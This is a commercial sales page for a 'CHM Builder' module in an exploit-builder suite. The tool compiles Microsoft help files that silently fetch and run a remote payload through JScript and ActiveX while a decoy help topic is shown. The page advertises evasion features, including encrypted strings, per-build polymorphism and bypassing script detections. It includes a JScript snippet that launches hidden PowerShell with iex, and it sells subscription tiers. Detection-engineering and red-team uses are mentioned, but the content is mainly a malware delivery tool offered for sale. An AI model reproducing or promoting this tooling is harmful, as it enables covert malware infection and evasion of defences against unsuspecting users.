Terminal LogoSilent Exploit
Exploit Builder BuilderBuilder Module
Exploit Builder/ Builders/ CHM
CHM
HTML Help · Legacy Container

CHM Builder.

.chm

Compiles HTML Help (.chm) files that contain HTML pages, JScript, and ActiveX objects. When opened with the trusted hh.exe viewer, embedded scripts run inside the HTML Help context, providing a quiet execution path that bypasses many script-based detections.

hh.exe host
Trusted Viewer
JScript + ActiveX
Execution Surface
Win XP+
Compatibility
CHM container
ITSF Format
Overview

What is a CHM file?

A CHM (Compiled HTML Help) file is a Microsoft ITSF-format container holding a compiled set of HTML pages, JScript, CSS, and images. It's opened with hh.exe — a Microsoft-signed viewer that ships with every modern Windows.

Inside the help context, embedded JScript runs with WScript.Shell via htmlfile/ActiveX object instantiation — no need for the user to enable anything. Exploit Builder constructs a CHM whose default-page JScript triggers your payload silently while a credible-looking help topic is shown to the user.

  • Hosted by hh.exe — Microsoft-signed, low-suspicion viewer
  • JScript + ActiveX (htmlfile, WScript.Shell) execution path
  • Decoy help content so the user perceives a legitimate documentation file
  • Compact ITSF binary — easy to distribute by mail or chained from LNK
Execution Flow

How the builder works.

STEP 01

Provide Payload URL

URL-only. Supply an HTTPS endpoint hosting your payload — the embedded JScript fetches and executes it on open. CHM does not embed binary payloads.

STEP 02

Pick Decoy

Select decoy topic: software readme, manual excerpt, internal procedure.

STEP 03

Configure Trigger

Default-page JScript, onload, or shortcut/object hook within the help index.

STEP 04

Compile

Builder produces a fully-valid ITSF .chm ready for delivery.

Technical Details

Under the hood.

ITSF Container

Builder writes a fully spec-compliant ITSF stream: SECTION tables, #SYSTEM, #STRINGS, content listing, LZX-compressed page data.

HTML Help Context

Pages execute inside the HTML Help engine which uses MSHTML. JScript is permitted; htmlfile ActiveX instantiation gives access to WScript.Shell.

ShortCut Object Hook

Optional alternative trigger: HTML Help's ShortCut object can launch arbitrary commands. Powerful but easier to detect than the JScript path.

String Encryption

URLs, command names, and decoy text encrypted in the JScript layer; decrypted at runtime so the static .chm binary holds no plain-text IOCs.

Decoy Help Topic

Authentic-looking help content (TOC, index, formatted topic body) so the help window looks like real documentation.

Per-Build Polymorphism

Page filenames, JScript variable names, comment layout, and string-table layout differ each build.

default.htm · simplified embedded JScript
<script>
var h = new ActiveXObject("htmlfile");
var s = h.parentWindow.ActiveXObject("WScript.Shell");
var u = Dec("...enc...", k);
s.Run("cmd /c powershell -nop -w 1 iex(...)", 0, false);
</script>
Specifications

Module specs.

Output FormatCompiled HTML Help (.chm) — Microsoft ITSF container
Delivery ModeURL only — embedded JScript fetches the payload at runtime. No local-embed mode.
OS CompatibilityWindows XP / 7 / 8.1 / 10 / 11 (hh.exe ships by default)
Host Processhh.exe — Microsoft-signed HTML Help viewer
Execution SurfaceJScript · ActiveX (htmlfile, WScript.Shell) · ShortCut object
TriggersDefault-page onload · Body inline · ShortCut element
Decoy TopicsSoftware readme · Manual · Procedure document · Custom HTML
CompressionLZX (standard ITSF)
PolymorphismPage names · JScript layout · String tables · Comment injection
Recommended CarrierDirect mail · ZIP · ISO/IMG
Use Cases

When to use CHM.

🔬

Detection Engineering

Validate rules around hh.exe spawning network/script children — a relatively low-volume telemetry channel.

🎯

Red Team — Legacy Vector

Highly effective against environments with legacy software where help files are common and unsuspicious.

🎓

Awareness Training

Demonstrate that "documentation files" can run code without enable-content prompts.

🧪

Sandbox Coverage

Test detonation of .chm within varied EDR/sandbox stacks; many under-cover this format.

🌐

APT Replay

Reproduce TTPs from APT actors using CHM (notably APT41, Kimsuky, Bitter, SideWinder) for purple-team validation.

🔗

LNK Chain Stage

Use as a trusted-looking stage opened by an LNK that calls hh.exe directly.

Pricing

CHM Builder plans.

All tiers include unlimited builds, every decoy topic profile, full polymorphism, and updates within the term.

1 Month
3 Months
6 Months
12 Months

Bundle option. Need multiple builders? The All Modules Bundle covers every builder + both launchers at a steep discount.

Other Modules

Explore the full suite.

Ready to ship?

Pick a tier above or talk to us — we'll match the right configuration to your engagement.